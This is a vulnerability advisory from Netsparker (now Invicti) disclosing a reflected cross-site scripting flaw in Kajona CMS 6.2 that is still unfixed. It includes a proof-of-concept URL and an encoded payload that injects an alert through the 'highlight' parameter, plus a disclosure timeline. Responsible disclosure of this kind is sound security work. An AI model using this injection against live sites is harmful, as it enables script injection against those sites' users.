Information
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Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in Kajona CMS
Affected Software: Kajona CMS
Affected Versions: 6.2
Homepage: https://www.kajona.de
Vulnerability: Reflected Cross-Site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-21-004

Technical Details
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URL: http://localhost:8080/index.php?highlight="+alert(0x0045AD)+"&page=subpage_1
Parameter Name: highlight
Parameter Type: GET
Attack Pattern: %22%2balert(0x0045AD)%2b%22

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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30th June 2021 - First Contact
22nd November 2021 - Advisory Released

Credits & Authors
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These issues have been discovered by Ozgur Dinc while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.